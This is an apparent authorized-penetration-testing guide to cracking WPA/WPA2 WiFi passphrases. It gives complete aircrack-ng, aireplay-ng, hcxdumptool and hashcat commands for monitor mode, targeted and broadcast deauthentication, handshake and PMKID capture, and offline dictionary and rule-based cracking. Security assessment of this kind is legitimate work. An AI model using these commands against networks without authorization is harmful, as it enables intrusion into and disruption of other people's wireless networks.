Performing WiFi Password Cracking with Aircrack-ng

When to Use

• Assessing the strength of WPA/WPA2/WPA3 passphrases during authorized wireless penetration tests
• Testing whether wireless networks are using weak or default passwords that can be cracked offline
• Capturing and analyzing 4-way handshakes to evaluate wireless authentication security
• Demonstrating the risks of WEP, weak WPA2 passphrases, and PMKID-based attacks to stakeholders
• Validating that enterprise wireless networks use 802.1X/EAP instead of pre-shared keys

Do not use against wireless networks without explicit written authorization, for disrupting wireless communications, or for capturing handshakes of networks you do not have permission to test.

Prerequisites

• Written authorization specifying in-scope SSIDs and wireless networks
• Wireless adapter with monitor mode and packet injection support (Alfa AWUS036ACH, Alfa AWUS036ACM, or similar)
• Kali Linux with aircrack-ng suite, hashcat, and hcxtools installed
• Password wordlists (rockyou.txt, SecLists, or custom organization-specific lists)
• GPU-capable system for hashcat acceleration (optional but recommended for large wordlists)

Workflow

Step 1: Prepare the Wireless Interface

# Identify wireless interfaces
iwconfig
# or
iw dev

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon

# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"

# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Step 2: Scan for Target Networks

# Scan all channels for access points
sudo airodump-ng wlan0mon

# Output columns:
# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork

# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)

# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture

Step 3: Capture the WPA2 4-Way Handshake

# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture

# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2

# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng

# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID

# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c

Step 4: Crack with Aircrack-ng (CPU-based)

# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap

# If successful, output shows:
# KEY FOUND! [ password123 ]

Step 5: Crack with Hashcat (GPU-accelerated)

# Convert capture to hashcat format
# For handshake captures:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap

# Or use aircrack-ng conversion
aircrack-ng handshake_capture-01.cap -j hashcat_input

# Dictionary attack with hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt

# Rule-based attack (transforms dictionary words)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule


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